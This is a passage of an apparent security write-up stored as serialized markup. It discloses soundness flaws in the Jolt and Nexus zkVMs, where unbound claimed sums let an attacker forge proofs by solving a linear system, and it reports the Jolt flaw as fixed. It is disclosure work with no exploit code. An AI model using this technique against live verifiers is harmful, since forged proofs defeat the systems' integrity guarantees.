",{"type":25,"tag":115,"props":117304,"children":117306},{"className":117305},[5485,5486],[117307],{"type":25,"tag":201,"props":117308,"children":117310},{"className":117309},[5491],[117311],{"type":25,"tag":201,"props":117312,"children":117314},{"className":117313,"ariaHidden":5497},[5496],[117315],{"type":25,"tag":201,"props":117316,"children":117318},{"className":117317},[5502],[117319,117323],{"type":25,"tag":201,"props":117320,"children":117322},{"className":117321,"style":23078},[5507],[],{"type":25,"tag":201,"props":117324,"children":117326},{"className":117325,"style":94365},[5513,23083],[117327],{"type":31,"value":94368},{"type":25,"tag":34,"props":117329,"children":117330},{},[117331],{"type":25,"tag":115,"props":117332,"children":117334},{"className":117333},[5485,5486],[117335],{"type":25,"tag":201,"props":117336,"children":117338},{"className":117337},[5491],[117339],{"type":25,"tag":201,"props":117340,"children":117342},{"className":117341,"ariaHidden":5497},[5496],[117343,117433,117459,117485],{"type":25,"tag":201,"props":117344,"children":117346},{"className":117345},[5502],[117347,117351,117420,117424,117429],{"type":25,"tag":201,"props":117348,"children":117350},{"className":117349,"style":112128},[5507],[],{"type":25,"tag":201,"props":117352,"children":117354},{"className":117353},[5513],[117355,117361],{"type":25,"tag":201,"props":117356,"children":117358},{"className":117357,"style":23615},[5513,23083],[117359],{"type":31,"value":117360},"C",{"type":25,"tag":201,"props":117362,"children":117364},{"className":117363},[5529],[117365],{"type":25,"tag":201,"props":117366,"children":117368},{"className":117367},[5534,23137],[117369,117409],{"type":25,"tag":201,"props":117370,"children":117372},{"className":117371},[5539],[117373,117404],{"type":25,"tag":201,"props":117374,"children":117377},{"className":117375,"style":117376},[5544],"height:0.3361em;",[117378],{"type":25,"tag":201,"props":117379,"children":117381},{"style":117380},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[117382,117386],{"type":25,"tag":201,"props":117383,"children":117385},{"className":117384,"style":5554},[5553],[],{"type":25,"tag":201,"props":117387,"children":117389},{"className":117388},[5559,5560,5561,5562],[117390],{"type":25,"tag":201,"props":117391,"children":117393},{"className":117392},[5513,5562],[117394],{"type":25,"tag":201,"props":117395,"children":117397},{"className":117396},[5513,31,5562],[117398],{"type":25,"tag":201,"props":117399,"children":117401},{"className":117400},[5513,5562],[117402],{"type":31,"value":117403},"final",{"type":25,"tag":201,"props":117405,"children":117407},{"className":117406},[23240],[117408],{"type":31,"value":23243},{"type":25,"tag":201,"props":117410,"children":117412},{"className":117411},[5539],[117413],{"type":25,"tag":201,"props":117414,"children":117416},{"className":117415,"style":94214},[5544],[117417],{"type":25,"tag":201,"props":117418,"children":117419},{},[],{"type":25,"tag":201,"props":117421,"children":117423},{"className":117422,"style":5691},[5593],[],{"type":25,"tag":201,"props":117425,"children":117427},{"className":117426},[5696],[117428],{"type":31,"value":1383},{"type":25,"tag":201,"props":117430,"children":117432},{"className":117431,"style":5691},[5593],[],{"type":25,"tag":201,"props":117434,"children":117436},{"className":117435},[5502],[117437,117441,117446,117450,117455],{"type":25,"tag":201,"props":117438,"children":117440},{"className":117439,"style":116214},[5507],[],{"type":25,"tag":201,"props":117442,"children":117444},{"className":117443},[5513,23083],[117445],{"type":31,"value":71},{"type":25,"tag":201,"props":117447,"children":117449},{"className":117448,"style":5594},[5593],[],{"type":25,"tag":201,"props":117451,"children":117453},{"className":117452},[5599],[117454],{"type":31,"value":112393},{"type":25,"tag":201,"props":117456,"children":117458},{"className":117457,"style":5594},[5593],[],{"type":25,"tag":201,"props":117460,"children":117462},{"className":117461},[5502],[117463,117467,117472,117476,117481],{"type":25,"tag":201,"props":117464,"children":117466},{"className":117465,"style":116243},[5507],[],{"type":25,"tag":201,"props":117468,"children":117470},{"className":117469,"style":94365},[5513,23083],[117471],{"type":31,"value":94368},{"type":25,"tag":201,"props":117473,"children":117475},{"className":117474,"style":5594},[5593],[],{"type":25,"tag":201,"props":117477,"children":117479},{"className":117478},[5599],[117480],{"type":31,"value":5886},{"type":25,"tag":201,"props":117482,"children":117484},{"className":117483,"style":5594},[5593],[],{"type":25,"tag":201,"props":117486,"children":117488},{"className":117487},[5502],[117489,117493],{"type":25,"tag":201,"props":117490,"children":117492},{"className":117491,"style":94046},[5507],[],{"type":25,"tag":201,"props":117494,"children":117496},{"className":117495},[5513,23083],[117497],{"type":31,"value":4729},{"type":25,"tag":34,"props":117499,"children":117500},{},[117501,117502,117541,117543,117568,117570,117700,117702,117823],{"type":31,"value":116967},{"type":25,"tag":115,"props":117503,"children":117505},{"className":117504},[5485,5486],[117506],{"type":25,"tag":201,"props":117507,"children":117509},{"className":117508},[5491],[117510],{"type":25,"tag":201,"props":117511,"children":117513},{"className":117512,"ariaHidden":5497},[5496],[117514],{"type":25,"tag":201,"props":117515,"children":117517},{"className":117516},[5502],[117518,117522,117527,117532,117536],{"type":25,"tag":201,"props":117519,"children":117521},{"className":117520,"style":116186},[5507],[],{"type":25,"tag":201,"props":117523,"children":117525},{"className":117524},[5513,23083],[117526],{"type":31,"value":71},{"type":25,"tag":201,"props":117528,"children":117530},{"className":117529},[5625],[117531],{"type":31,"value":5628},{"type":25,"tag":201,"props":117533,"children":117535},{"className":117534,"style":5632},[5593],[],{"type":25,"tag":201,"props":117537,"children":117539},{"className":117538},[5513,23083],[117540],{"type":31,"value":4729},{"type":31,"value":117542}," are determined by the transcript (independent of ",{"type":25,"tag":115,"props":117544,"children":117546},{"className":117545},[5485,5486],[117547],{"type":25,"tag":201,"props":117548,"children":117550},{"className":117549},[5491],[117551],{"type":25,"tag":201,"props":117552,"children":117554},{"className":117553,"ariaHidden":5497},[5496],[117555],{"type":25,"tag":201,"props":117556,"children":117558},{"className":117557},[5502],[117559,117563],{"type":25,"tag":201,"props":117560,"children":117562},{"className":117561,"style":23078},[5507],[],{"type":25,"tag":201,"props":117564,"children":117566},{"className":117565,"style":94365},[5513,23083],[117567],{"type":31,"value":94368},{"type":31,"value":117569},"). The verifier checks that ",{"type":25,"tag":115,"props":117571,"children":117573},{"className":117572},[5485,5486],[117574],{"type":25,"tag":201,"props":117575,"children":117577},{"className":117576},[5491],[117578],{"type":25,"tag":201,"props":117579,"children":117581},{"className":117580,"ariaHidden":5497},[5496],[117582,117668],{"type":25,"tag":201,"props":117583,"children":117585},{"className":117584},[5502],[117586,117590,117655,117659,117664],{"type":25,"tag":201,"props":117587,"children":117589},{"className":117588,"style":112128},[5507],[],{"type":25,"tag":201,"props":117591,"children":117593},{"className":117592},[5513],[117594,117599],{"type":25,"tag":201,"props":117595,"children":117597},{"className":117596,"style":23615},[5513,23083],[117598],{"type":31,"value":117360},{"type":25,"tag":201,"props":117600,"children":117602},{"className":117601},[5529],[117603],{"type":25,"tag":201,"props":117604,"children":117606},{"className":117605},[5534,23137],[117607,117644],{"type":25,"tag":201,"props":117608,"children":117610},{"className":117609},[5539],[117611,117639],{"type":25,"tag":201,"props":117612,"children":117614},{"className":117613,"style":117376},[5544],[117615],{"type":25,"tag":201,"props":117616,"children":117617},{"style":117380},[117618,117622],{"type":25,"tag":201,"props":117619,"children":117621},{"className":117620,"style":5554},[5553],[],{"type":25,"tag":201,"props":117623,"children":117625},{"className":117624},[5559,5560,5561,5562],[117626],{"type":25,"tag":201,"props":117627,"children":117629},{"className":117628},[5513,5562],[117630],{"type":25,"tag":201,"props":117631,"children":117633},{"className":117632},[5513,31,5562],[117634],{"type":25,"tag":201,"props":117635,"children":117637},{"className":117636},[5513,5562],[117638],{"type":31,"value":117403},{"type":25,"tag":201,"props":117640,"children":117642},{"className":117641},[23240],[117643],{"type":31,"value":23243},{"type":25,"tag":201,"props":117645,"children":117647},{"className":117646},[5539],[117648],{"type":25,"tag":201,"props":117649,"children":117651},{"className":117650,"style":94214},[5544],[117652],{"type":25,"tag":201,"props":117653,"children":117654},{},[],{"type":25,"tag":201,"props":117656,"children":117658},{"className":117657,"style":5691},[5593],[],{"type":25,"tag":201,"props":117660,"children":117662},{"className":117661},[5696],[117663],{"type":31,"value":1383},{"type":25,"tag":201,"props":117665,"children":117667},{"className":117666,"style":5691},[5593],[],{"type":25,"tag":201,"props":117669,"children":117671},{"className":117670},[5502],[117672,117676,117686,117691],{"type":25,"tag":201,"props":117673,"children":117675},{"className":117674,"style":95544},[5507],[],{"type":25,"tag":201,"props":117677,"children":117679},{"className":117678},[5513,31],[117680],{"type":25,"tag":201,"props":117681,"children":117683},{"className":117682},[5513],[117684],{"type":31,"value":117685},"expected",{"type":25,"tag":201,"props":117687,"children":117689},{"className":117688,"style":94131},[5513],[117690],{"type":31,"value":4589},{"type":25,"tag":201,"props":117692,"children":117694},{"className":117693},[5513,31],[117695],{"type":25,"tag":201,"props":117696,"children":117698},{"className":117697},[5513],[117699],{"type":31,"value":38618},{"type":31,"value":117701}," (from PCS opening), this becomes ",{"type":25,"tag":115,"props":117703,"children":117705},{"className":117704},[5485,5486],[117706],{"type":25,"tag":201,"props":117707,"children":117709},{"className":117708},[5491],[117710],{"type":25,"tag":201,"props":117711,"children":117713},{"className":117712,"ariaHidden":5497},[5496],[117714,117740,117766,117792],{"type":25,"tag":201,"props":117715,"children":117717},{"className":117716},[5502],[117718,117722,117727,117731,117736],{"type":25,"tag":201,"props":117719,"children":117721},{"className":117720,"style":116214},[5507],[],{"type":25,"tag":201,"props":117723,"children":117725},{"className":117724},[5513,23083],[117726],{"type":31,"value":71},{"type":25,"tag":201,"props":117728,"children":117730},{"className":117729,"style":5594},[5593],[],{"type":25,"tag":201,"props":117732,"children":117734},{"className":117733},[5599],[117735],{"type":31,"value":112393},{"type":25,"tag":201,"props":117737,"children":117739},{"className":117738,"style":5594},[5593],[],{"type":25,"tag":201,"props":117741,"children":117743},{"className":117742},[5502],[117744,117748,117753,117757,117762],{"type":25,"tag":201,"props":117745,"children":117747},{"className":117746,"style":116243},[5507],[],{"type":25,"tag":201,"props":117749,"children":117751},{"className":117750,"style":94365},[5513,23083],[117752],{"type":31,"value":94368},{"type":25,"tag":201,"props":117754,"children":117756},{"className":117755,"style":5594},[5593],[],{"type":25,"tag":201,"props":117758,"children":117760},{"className":117759},[5599],[117761],{"type":31,"value":5886},{"type":25,"tag":201,"props":117763,"children":117765},{"className":117764,"style":5594},[5593],[],{"type":25,"tag":201,"props":117767,"children":117769},{"className":117768},[5502],[117770,117774,117779,117783,117788],{"type":25,"tag":201,"props":117771,"children":117773},{"className":117772,"style":94046},[5507],[],{"type":25,"tag":201,"props":117775,"children":117777},{"className":117776},[5513,23083],[117778],{"type":31,"value":4729},{"type":25,"tag":201,"props":117780,"children":117782},{"className":117781,"style":5691},[5593],[],{"type":25,"tag":201,"props":117784,"children":117786},{"className":117785},[5696],[117787],{"type":31,"value":1383},{"type":25,"tag":201,"props":117789,"children":117791},{"className":117790,"style":5691},[5593],[],{"type":25,"tag":201,"props":117793,"children":117795},{"className":117794},[5502],[117796,117800,117809,117814],{"type":25,"tag":201,"props":117797,"children":117799},{"className":117798,"style":95544},[5507],[],{"type":25,"tag":201,"props":117801,"children":117803},{"className":117802},[5513,31],[117804],{"type":25,"tag":201,"props":117805,"children":117807},{"className":117806},[5513],[117808],{"type":31,"value":117685},{"type":25,"tag":201,"props":117810,"children":117812},{"className":117811,"style":94131},[5513],[117813],{"type":31,"value":4589},{"type":25,"tag":201,"props":117815,"children":117817},{"className":117816},[5513,31],[117818],{"type":25,"tag":201,"props":117819,"children":117821},{"className":117820},[5513],[117822],{"type":31,"value":38618},{"type":31,"value":80},{"type":25,"tag":34,"props":117825,"children":117826},{},[117827],{"type":31,"value":117828},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":25,"tag":34,"props":117830,"children":117831},{},[117832],{"type":31,"value":117833},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":25,"tag":34,"props":117835,"children":117836},{},[117837,117842,117844],{"type":25,"tag":1252,"props":117838,"children":117839},{},[117840],{"type":31,"value":117841},"Status:",{"type":31,"value":117843}," Fixed on October 3, 2025 via ",{"type":25,"tag":71,"props":117845,"children":117848},{"href":117846,"rel":117847},"https://github.com/a16z/jolt/pull/981",[75],[117849],{"type":31,"value":117850},"PR #981",{"type":25,"tag":20292,"props":117852,"children":117853},{},[],{"type":25,"tag":40,"props":117855,"children":117857},{"id":117856},"nexus",[117858],{"type":31,"value":108950},{"type":25,"tag":34,"props":117860,"children":117861},{},[117862],{"type":31,"value":117863},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":25,"tag":34,"props":117865,"children":117866},{},[117867,117869,117874],{"type":31,"value":117868},"Nexus splits verification into ",{"type":25,"tag":1252,"props":117870,"children":117871},{},[117872],{"type":31,"value":117873},"components",{"type":31,"value":117875}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":25,"tag":34,"props":117877,"children":117878},{},[117879,117881,117886],{"type":31,"value":117880},"Each component emits and consumes lookup tuples. The component's ",{"type":25,"tag":115,"props":117882,"children":117884},{"className":117883},[],[117885],{"type":31,"value":115995},{"type":31,"value":117887}," summarizes its net contribution:",{"type":25,"tag":34,"props":117889,"children":117890},{},[117891],{"type":25,"tag":115,"props":117892,"children":117894},{"className":117893},[5485,5486],[117895],{"type":25,"tag":201,"props":117896,"children":117898},{"className":117897},[5491],[117899],{"type":25,"tag":201,"props":117900,"children":117902},{"className":117901,"ariaHidden":5497},[5496],[117903,117999,118248],{"type":25,"tag":201,"props":117904,"children":117906},{"className":117905},[5502],[117907,117911,117920,117925,117986,117990,117995],{"type":25,"tag":201,"props":117908,"children":117910},{"className":117909,"style":95544},[5507],[],{"type":25,"tag":201,"props":117912,"children":117914},{"className":117913},[5513,31],[117915],{"type":25,"tag":201,"props":117916,"children":117918},{"className":117917},[5513],[117919],{"type":31,"value":115224},{"type":25,"tag":201,"props":117921,"children":117923},{"className":117922,"style":94131},[5513],[117924],{"type":31,"value":4589},{"type":25,"tag":201,"props":117926,"children":117928},{"className":117927},[5513],[117929,117938],{"type":25,"tag":201,"props":117930,"children":117932},{"className":117931},[5513,31],[117933],{"type":25,"tag":201,"props":117934,"children":117936},{"className":117935},[5513],[117937],{"type":31,"value":77716},{"type":25,"tag":201,"props":117939,"children":117941},{"className":117940},[5529],[117942],{"type":25,"tag":201,"props":117943,"children":117945},{"className":117944},[5534,23137],[117946,117975],{"type":25,"tag":201,"props":117947,"children":117949},{"className":117948},[5539],[117950,117970],{"type":25,"tag":201,"props":117951,"children":117953},{"className":117952,"style":94660},[5544],[117954],{"type":25,"tag":201,"props":117955,"children":117956},{"style":115261},[117957,117961],{"type":25,"tag":201,"props":117958,"children":117960},{"className":117959,"style":5554},[5553],[],{"type":25,"tag":201,"props":117962,"children":117964},{"className":117963},[5559,5560,5561,5562],[117965],{"type":25,"tag":201,"props":117966,"children":117968},{"className":117967},[5513,23083,5562],[117969],{"type":31,"value":3641},{"type":25,"tag":201,"props":117971,"children":117973},{"className":117972},[23240],[117974],{"type":31,"value":23243},{"type":25,"tag":201,"props":117976,"children":117978},{"className":117977},[5539],[117979],{"type":25,"tag":201,"props":117980,"children":117982},{"className":117981,"style":94214},[5544],[117983],{"type":25,"tag":201,"props":117984,"children":117985},{},[],{"type":25,"tag":201,"props":117987,"children":117989},{"className":117988,"style":5691},[5593],[],{"type":25,"tag":201,"props":117991,"children":117993},{"className":117992},[5696],[117994],{"type":31,"value":1383},{"type":25,"tag":201,"props":117996,"children":117998},{"className":117997,"style":5691},[5593],[],{"type":25,"tag":201,"props":118000,"children":118002},{"className":118001},[5502],[118003,118008,118065,118069,118235,118239,118244],{"type":25,"tag":201,"props":118004,"children":118007},{"className":118005,"style":118006},[5507],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":25,"tag":201,"props":118009,"children":118011},{"className":118010},[23119],[118012,118017],{"type":25,"tag":201,"props":118013,"children":118015},{"className":118014,"style":23126},[23119,23124,23125],[118016],{"type":31,"value":109926},{"type":25,"tag":201,"props":118018,"children":118020},{"className":118019},[5529],[118021],{"type":25,"tag":201,"props":118022,"children":118024},{"className":118023},[5534,23137],[118025,118054],{"type":25,"tag":201,"props":118026,"children":118028},{"className":118027},[5539],[118029,118049],{"type":25,"tag":201,"props":118030,"children":118032},{"className":118031,"style":115338},[5544],[118033],{"type":25,"tag":201,"props":118034,"children":118035},{"style":23150},[118036,118040],{"type":25,"tag":201,"props":118037,"children":118039},{"className":118038,"style":5554},[5553],[],{"type":25,"tag":201,"props":118041,"children":118043},{"className":118042},[5559,5560,5561,5562],[118044],{"type":25,"tag":201,"props":118045,"children":118047},{"className":118046,"style":115354},[5513,23083,5562],[118048],{"type":31,"value":10164},{"type":25,"tag":201,"props":118050,"children":118052},{"className":118051},[23240],[118053],{"type":31,"value":23243},{"type":25,"tag":201,"props":118055,"children":118057},{"className":118056},[5539],[118058],{"type":25,"tag":201,"props":118059,"children":118061},{"className":118060,"style":115369},[5544],[118062],{"type":25,"tag":201,"props":118063,"children":118064},{},[],{"type":25,"tag":201,"props":118066,"children":118068},{"className":118067,"style":5632},[5593],[],{"type":25,"tag":201,"props":118070,"children":118072},{"className":118071},[5513],[118073,118077,118231],{"type":25,"tag":201,"props":118074,"children":118076},{"className":118075},[23212,114649],[],{"type":25,"tag":201,"props":118078,"children":118080},{"className":118079},[114654],[118081],{"type":25,"tag":201,"props":118082,"children":118084},{"className":118083},[5534,23137],[118085,118219],{"type":25,"tag":201,"props":118086,"children":118088},{"className":118087},[5539],[118089,118214],{"type":25,"tag":201,"props":118090,"children":118092},{"className":118091,"style":114667},[5544],[118093,118183,118194],{"type":25,"tag":201,"props":118094,"children":118095},{"style":114671},[118096,118100],{"type":25,"tag":201,"props":118097,"children":118099},{"className":118098,"style":113302},[5553],[],{"type":25,"tag":201,"props":118101,"children":118103},{"className":118102},[5559,5560,5561,5562],[118104],{"type":25,"tag":201,"props":118105,"children":118107},{"className":118106},[5513,5562],[118108,118113,118118],{"type":25,"tag":201,"props":118109,"children":118111},{"className":118110,"style":114688},[5513,23083,5562],[118112],{"type":31,"value":114691},{"type":25,"tag":201,"props":118114,"children":118116},{"className":118115},[5599,5562],[118117],{"type":31,"value":5573},{"type":25,"tag":201,"props":118119,"children":118121},{"className":118120},[5513,5562],[118122,118132],{"type":25,"tag":201,"props":118123,"children":118125},{"className":118124},[5513,31,5562],[118126],{"type":25,"tag":201,"props":118127,"children":118129},{"className":118128},[5513,5562],[118130],{"type":31,"value":118131},"produced",{"type":25,"tag":201,"props":118133,"children":118135},{"className":118134},[5529],[118136],{"type":25,"tag":201,"props":118137,"children":118139},{"className":118138},[5534,23137],[118140,118171],{"type":25,"tag":201,"props":118141,"children":118143},{"className":118142},[5539],[118144,118166],{"type":25,"tag":201,"props":118145,"children":118148},{"className":118146,"style":118147},[5544],"height:0.2052em;",[118149],{"type":25,"tag":201,"props":118150,"children":118152},{"style":118151},"top:-2.2341em;margin-right:0.0714em;",[118153,118157],{"type":25,"tag":201,"props":118154,"children":118156},{"className":118155,"style":109991},[5553],[],{"type":25,"tag":201,"props":118158,"children":118160},{"className":118159},[5559,109996,109997,5562],[118161],{"type":25,"tag":201,"props":118162,"children":118164},{"className":118163,"style":115354},[5513,23083,5562],[118165],{"type":31,"value":10164},{"type":25,"tag":201,"props":118167,"children":118169},{"className":118168},[23240],[118170],{"type":31,"value":23243},{"type":25,"tag":201,"props":118172,"children":118174},{"className":118173},[5539],[118175],{"type":25,"tag":201,"props":118176,"children":118179},{"className":118177,"style":118178},[5544],"height:0.4048em;",[118180],{"type":25,"tag":201,"props":118181,"children":118182},{},[],{"type":25,"tag":201,"props":118184,"children":118185},{"style":114704},[118186,118190],{"type":25,"tag":201,"props":118187,"children":118189},{"className":118188,"style":113302},[5553],[],{"type":25,"tag":201,"props":118191,"children":118193},{"className":118192,"style":114714},[114713],[],{"type":25,"tag":201,"props":118195,"children":118196},{"style":114718},[118197,118201],{"type":25,"tag":201,"props":118198,"children":118200},{"className":118199,"style":113302},[5553],[],{"type":25,"tag":201,"props":118202,"children":118204},{"className":118203},[5559,5560,5561,5562],[118205],{"type":25,"tag":201,"props":118206,"children":118208},{"className":118207},[5513,5562],[118209],{"type":25,"tag":201,"props":118210,"children":118212},{"className":118211},[5513,5562],[118213],{"type":31,"value":5516},{"type":25,"tag":201,"props":118215,"children":118217},{"className":118216},[23240],[118218],{"type":31,"value":23243},{"type":25,"tag":201,"props":118220,"children":118222},{"className":118221},[5539],[118223],{"type":25,"tag":201,"props":118224,"children":118227},{"className":118225,"style":118226},[5544],"height:0.6283em;",[118228],{"type":25,"tag":201,"props":118229,"children":118230},{},[],{"type":25,"tag":201,"props":118232,"children":118234},{"className":118233},[23234,114649],[],{"type":25,"tag":201,"props":118236,"children":118238},{"className":118237,"style":5594},[5593],[],{"type":25,"tag":201,"props":118240,"children":118242},{"className":118241},[5599],[118243],{"type":31,"value":5573},{"type":25,"tag":201,"props":118245,"children":118247},{"className":118246,"style":5594},[5593],[],{"type":25,"tag":201,"props":118249,"children":118251},{"className":118250},[5502],[118252,118256,118313,118317],{"type":25,"tag":201,"props":118253,"children":118255},{"className":118254,"style":115563},[5507],[],{"type":25,"tag":201,"props":118257,"children":118259},{"className":118258},[23119],[118260,118265],{"type":25,"tag":201,"props":118261,"children":118263},{"className":118262,"style":23126},[23119,23124,23125],[118264],{"type":31,"value":109926},{"type":25,"tag":201,"props":118266,"children":118268},{"className":118267},[5529],[118269],{"type":25,"tag":201,"props":118270,"children":118272},{"className":118271},[5534,23137],[118273,118302],{"type":25,"tag":201,"props":118274,"children":118276},{"className":118275},[5539],[118277,118297],{"type":25,"tag":201,"props":118278,"children":118280},{"className":118279,"style":114803},[5544],[118281],{"type":25,"tag":201,"props":118282,"children":118283},{"style":23150},[118284,118288],{"type":25,"tag":201,"props":118285,"children":118287},{"className":118286,"style":5554},[5553],[],{"type":25,"tag":201,"props":118289,"children":118291},{"className":118290},[5559,5560,5561,5562],[118292],{"type":25,"tag":201,"props":118293,"children":118295},{"className":118294,"style":95560},[5513,23083,5562],[118296],{"type":31,"value":89768},{"type":25,"tag":201,"props":118298,"children":118300},{"className":118299},[23240],[118301],{"type":31,"value":23243},{"type":25,"tag":201,"props":118303,"children":118305},{"className":118304},[5539],[118306],{"type":25,"tag":201,"props":118307,"children":118309},{"className":118308,"style":115618},[5544],[118310],{"type":25,"tag":201,"props":118311,"children":118312},{},[],{"type":25,"tag":201,"props":118314,"children":118316},{"className":118315,"style":5632},[5593],[],{"type":25,"tag":201,"props":118318,"children":118320},{"className":118319},[5513],[118321,118325,118475],{"type":25,"tag":201,"props":118322,"children":118324},{"className":118323},[23212,114649],[],{"type":25,"tag":201,"props":118326,"children":118328},{"className":118327},[114654],[118329],{"type":25,"tag":201,"props":118330,"children":118332},{"className":118331},[5534,23137],[118333,118464],{"type":25,"tag":201,"props":118334,"children":118336},{"className":118335},[5539],[118337,118459],{"type":25,"tag":201,"props":118338,"children":118340},{"className":118339,"style":114667},[5544],[118341,118428,118439],{"type":25,"tag":201,"props":118342,"children":118343},{"style":114671},[118344,118348],{"type":25,"tag":201,"props":118345,"children":118347},{"className":118346,"style":113302},[5553],[],{"type":25,"tag":201,"props":118349,"children":118351},{"className":118350},[5559,5560,5561,5562],[118352],{"type":25,"tag":201,"props":118353,"children":118355},{"className":118354},[5513,5562],[118356,118361,118366],{"type":25,"tag":201,"props":118357,"children":118359},{"className":118358,"style":114688},[5513,23083,5562],[118360],{"type":31,"value":114691},{"type":25,"tag":201,"props":118362,"children":118364},{"className":118363},[5599,5562],[118365],{"type":31,"value":5573},{"type":25,"tag":201,"props":118367,"children":118369},{"className":118368},[5513,5562],[118370,118380],{"type":25,"tag":201,"props":118371,"children":118373},{"className":118372},[5513,31,5562],[118374],{"type":25,"tag":201,"props":118375,"children":118377},{"className":118376},[5513,5562],[118378],{"type":31,"value":118379},"consumed",{"type":25,"tag":201,"props":118381,"children":118383},{"className":118382},[5529],[118384],{"type":25,"tag":201,"props":118385,"children":118387},{"className":118386},[5534,23137],[118388,118417],{"type":25,"tag":201,"props":118389,"children":118391},{"className":118390},[5539],[118392,118412],{"type":25,"tag":201,"props":118393,"children":118395},{"className":118394,"style":113463},[5544],[118396],{"type":25,"tag":201,"props":118397,"children":118398},{"style":115708},[118399,118403],{"type":25,"tag":201,"props":118400,"children":118402},{"className":118401,"style":109991},[5553],[],{"type":25,"tag":201,"props":118404,"children":118406},{"className":118405},[5559,109996,109997,5562],[118407],{"type":25,"tag":201,"props":118408,"children":118410},{"className":118409,"style":95560},[5513,23083,5562],[118411],{"type":31,"value":89768},{"type":25,"tag":201,"props":118413,"children":118415},{"className":118414},[23240],[118416],{"type":31,"value":23243},{"type":25,"tag":201,"props":118418,"children":118420},{"className":118419},[5539],[118421],{"type":25,"tag":201,"props":118422,"children":118424},{"className":118423,"style":115735},[5544],[118425],{"type":25,"tag":201,"props":118426,"children":118427},{},[],{"type":25,"tag":201,"props":118429,"children":118430},{"style":114704},[118431,118435],{"type":25,"tag":201,"props":118432,"children":118434},{"className":118433,"style":113302},[5553],[],{"type":25,"tag":201,"props":118436,"children":118438},{"className":118437,"style":114714},[114713],[],{"type":25,"tag":201,"props":118440,"children":118441},{"style":114718},[118442,118446],{"type":25,"tag":201,"props":118443,"children":118445},{"className":118444,"style":113302},[5553],[],{"type":25,"tag":201,"props":118447,"children":118449},{"className":118448},[5559,5560,5561,5562],[118450],{"type":25,"tag":201,"props":118451,"children":118453},{"className":118452},[5513,5562],[118454],{"type":25,"tag":201,"props":118455,"children":118457},{"className":118456},[5513,5562],[118458],{"type":31,"value":5516},{"type":25,"tag":201,"props":118460,"children":118462},{"className":118461},[23240],[118463],{"type":31,"value":23243},{"type":25,"tag":201,"props":118465,"children":118467},{"className":118466},[5539],[118468],{"type":25,"tag":201,"props":118469,"children":118471},{"className":118470,"style":115783},[5544],[118472],{"type":25,"tag":201,"props":118473,"children":118474},{},[],{"type":25,"tag":201,"props":118476,"children":118478},{"className":118477},[23234,114649],[],{"type":25,"tag":34,"props":118480,"children":118481},{},[118482,118484,118489],{"type":31,"value":118483},"All ",{"type":25,"tag":115,"props":118485,"children":118487},{"className":118486},[],[118488],{"type":31,"value":115995},{"type":31,"value":118490}," values must sum to zero (everything produced is consumed).",{"type":25,"tag":34,"props":118492,"children":118493},{},[118494,118496,118501],{"type":31,"value":118495},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":25,"tag":1252,"props":118497,"children":118498},{},[118499],{"type":31,"value":118500},"OODS (Out-of-Domain Sampling)",{"type":31,"value":118502}," test.",{"type":25,"tag":34,"props":118504,"children":118505},{},[118506],{"type":25,"tag":1252,"props":118507,"children":118508},{},[118509],{"type":31,"value":116547},{"type":25,"tag":191,"props":118511,"children":118513},{"code":118512},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[118514],{"type":25,"tag":115,"props":118515,"children":118516},{"__ignoreMap":7},[118517],{"type":31,"value":118512},{"type":25,"tag":34,"props":118519,"children":118520},{},[118521,118523,118528],{"type":31,"value":118522},"The",{"type":25,"tag":115,"props":118524,"children":118526},{"className":118525},[],[118527],{"type":31,"value":115995},{"type":31,"value":118529}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":25,"tag":34,"props":118531,"children":118532},{},[118533],{"type":25,"tag":127,"props":118534,"children":118537},{"alt":118535,"src":118536},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":25,"tag":34,"props":118539,"children":118540},{},[118541,118543,118552],{"type":31,"value":118542},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":25,"tag":1252,"props":118544,"children":118545},{},[118546,118547],{"type":31,"value":113002},{"type":25,"tag":115,"props":118548,"children":118550},{"className":118549},[],[118551],{"type":31,"value":115995},{"type":31,"value":5997},{"type":25,"tag":34,"props":118554,"children":118555},{},[118556],{"type":31,"value":118557},"The composition polynomial is a random linear combination of constraints:",{"type":25,"tag":34,"props":118559,"children":118560},{},[118561],{"type":25,"tag":115,"props":118562,"children":118564},{"className":118563},[5485,5486],[118565],{"type":25,"tag":201,"props":118566,"children":118568},{"className":118567},[5491],[118569],{"type":25,"tag":201,"props":118570,"children":118572},{"className":118571,"ariaHidden":5497},[5496],[118573,118614,118753],{"type":25,"tag":201,"props":118574,"children":118576},{"className":118575},[5502],[118577,118581,118586,118591,118596,118601,118605,118610],{"type":25,"tag":201,"props":118578,"children":118580},{"className":118579,"style":5614},[5507],[],{"type":25,"tag":201,"props":118582,"children":118584},{"className":118583,"style":23615},[5513,23083],[118585],{"type":31,"value":117360},{"type":25,"tag":201,"props":118587,"children":118589},{"className":118588},[23212],[118590],{"type":31,"value":298},{"type":25,"tag":201,"props":118592,"children":118594},{"className":118593},[5513,23083],[118595],{"type":31,"value":1606},{"type":25,"tag":201,"props":118597,"children":118599},{"className":118598},[23234],[118600],{"type":31,"value":3073},{"type":25,"tag":201,"props":118602,"children":118604},{"className":118603,"style":5691},[5593],[],{"type":25,"tag":201,"props":118606,"children":118608},{"className":118607},[5696],[118609],{"type":31,"value":1383},{"type":25,"tag":201,"props":118611,"children":118613},{"className":118612,"style":5691},[5593],[],{"type":25,"tag":201,"props":118615,"children":118617},{"className":118616},[5502],[118618,118622,118679,118683,118740,118744,118749],{"type":25,"tag":201,"props":118619,"children":118621},{"className":118620,"style":116764},[5507],[],{"type":25,"tag":201,"props":118623,"children":118625},{"className":118624},[23119],[118626,118631],{"type":25,"tag":20